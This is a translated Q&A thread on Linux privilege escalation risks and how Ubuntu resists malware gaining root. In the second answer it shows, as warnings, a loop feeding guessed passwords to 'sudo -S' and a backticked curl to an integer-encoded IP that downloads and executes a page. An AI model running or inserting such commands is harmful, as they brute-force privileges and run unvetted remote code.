如何保证系统的安全?

如何保证系统的安全?

我了解,如果任何恶意软件进入 Linux 系统,它最多会获得用户级别的权限并破坏特定用户可以触及的任何东西,即用户自己的文件。

但是,究竟是什么阻止恶意软件获得 root 级访问权限呢?它难道不能从内部破解密码吗?

答案1

这是一个复杂的问题。Ubuntu 系统中有很多不同的安全层,从 AppArmor 等复杂框架到简单的内核变量,如mmap_min_addr。您可以在其中添加一些内核功能,如内存随机化。您可以在 上找到它们的列表以及简要说明Ubuntu 维基

另一个重要因素是更新既快速又简单 - 因此大多数计算机都会更新到最新的安全修复程序。

据我所知,获得您计算机本地访问权限的攻击者有三种方法来扩展内核权限:

  1. 破解密码。但这将非常困难,密码是使用已知无漏洞的算法加密存储的。破解它需要很长时间。

  2. 内核中有错误。但内核的所有安全功能都会受到影响。

  3. 诱骗用户泄露密码,即社会工程。只需显示虚假密码对话框或使用其他技巧即可。这是最简单的方法。

第三点是目前最薄弱的弱点。

答案2

破解 root 密码本身是不可能的,因为 Ubuntu 默认禁用 root 用户。但是,如果您的用户可以通过 sudo 成为 root,并且您的密码很容易被猜出/暴力破解,那么您的系统就不安全了。尝试测试某些密码的示例脚本:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

添加不受信任的存储库允许安装来自该存储库的程序。即使您没有明确安装应用程序(如)sudo apt-get install [app-from-repo],存储库仍可能通过让 Ubuntu 相信存储库包含某个程序的较新版本来影响其他程序。

更新过程以 root 身份运行,否则无法将文件写入/usr/bin/etc。安装触发器也以 root 身份运行,并且可以任意运行甚至可能有害的命令。现在,不用担心,需要手动操作来更新程序,Ubuntu 存储库是安全的。像 Windows 这样的闭源软件永远不能完全信任,因为您无法检查恶意代码的来源,但您可以在需要时查看 Ubuntu 应用程序的来源(不适用于像sun-java6或 Flash 这样的专有程序)。

正如 Javier Rivera 所说,内核错误可能导致任意代码执行,但有错误的软件也可能很危险,尤其是有错误的setsuid根二进制文件(将在文件所有者 root 下运行的二进制文件)和其他以 root 身份运行的有错误的程序。

如果您不注意自己所做的事情,则可能会在系统上创建安全漏洞。例如,在没有完全理解 cronjobs 概念的情况下,您添加了一个 cronjob,该 cronjob/etc/cron.daily运行主文件夹中的程序(例如/bin/sh /home/your-username/myscript.sh。如果 myscript.sh 文件可由您写入并可由您删除,则漏洞可能会将恶意代码放入其中,myscript.sh并以 root 身份运行(特权升级)。

为了安全,请多加注意!如果您不知道它的作用,请不要运行来自不受信任来源的命令。如果有人说`curl 3221233674`使用反引号运行,请不要。3221233674 是192.0.32.10(example.com 的 IP)的另一种写法。因此,它等于:

`curl http://example.com/`

这些反引号使得输出被执行为 shell 命令。用简单的英语来说,“下载页面http://example.com/并尝试执行下载的页面”。

一开始,你不会在给定的命令中看到任何恶意的东西。但现在,你知道它也可以被滥用。

始终检查从不受信任的来源(例如互联网)获取的命令/脚本。

相关内容